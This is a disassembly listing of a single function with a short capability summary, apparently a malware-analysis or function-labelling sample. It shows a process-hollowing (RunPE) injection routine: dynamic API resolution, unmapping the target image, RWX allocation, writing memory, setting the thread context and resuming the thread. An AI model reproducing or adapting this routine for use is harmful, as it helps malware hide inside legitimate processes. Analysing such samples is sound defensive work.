Function at 0x1000155f
Capabilities:
Link many functions at runtime
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push esi
push edi
push str.VirtualAllocEx
push str.Kernel32.dll
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
or dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x14], eax
test edi, edi
jne 0x10001598
or eax, 0xffffffff
jmp 0x1000175f
push ebx
push str.VirtualProtectEx
push 0x1002509c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x2ec]
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.1000147d
mov edi, dword [ebp - 8]
add esp, 0x14
test eax, eax
je 0x1000175c
mov eax, dword [ebp - 0x20]
and dword [ebp - 4], 0
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
cmp dword [esi + 0x34], eax
jne 0x1000160e
cmp dword [ebp - 0x10], ebx
jb 0x1000160e
lea ecx, [ebp - 8]
mov dword [ebp - 4], eax
push ecx
push 0x40
push dword [ebp - 0x10]
push eax
push edi
call dword [ebp - 0x18]
jmp 0x10001698
cmp dword [ebp - 0x14], 0
je 0x10001698
push str.ntdll.dll
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1000166b
push str.ZwUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001647
push dword [ebp - 0x1c]
push edi
call eax
neg eax
sbb ebx, ebx
inc ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x1000166b
mov ebx, dword [ebp + 0x10]
push 0x40
push 0x3000
push ebx
push dword [esi + 0x34]
push edi
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
jmp 0x10001671
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x10]
test eax, eax
jne 0x10001695
cmp dword [esi + 0xa0], eax
je 0x10001695
cmp dword [esi + 0xa4], eax
je 0x10001695
push 0x40
push 0x3000
push ebx
push eax
push edi
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0x10]
push str.WriteProcessMemory
push 0x1002509c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetThreadContext
push 0x1002509c
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 4], 0
mov dword [ebp - 0x1c], eax
je 0x10001742
mov ecx, dword [ebp - 0x248]
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
add ecx, 8
push eax
push ecx
push edi
call dword [ebp - 0x10]
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push ebx
push dword [ebp + 0xc]
mov dword [esi + 0x34], eax
push eax
push edi
call dword [ebp - 0x10]
test eax, eax
je 0x10001742
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x28]
mov dword [ebp - 0x2ec], 0x10007
cmp eax, dword [ebp - 0x20]
jne 0x10001719
mov eax, dword [esi + 0x34]
add eax, ecx
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x2ec]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000175c
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
or edi, 0xffffffff
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret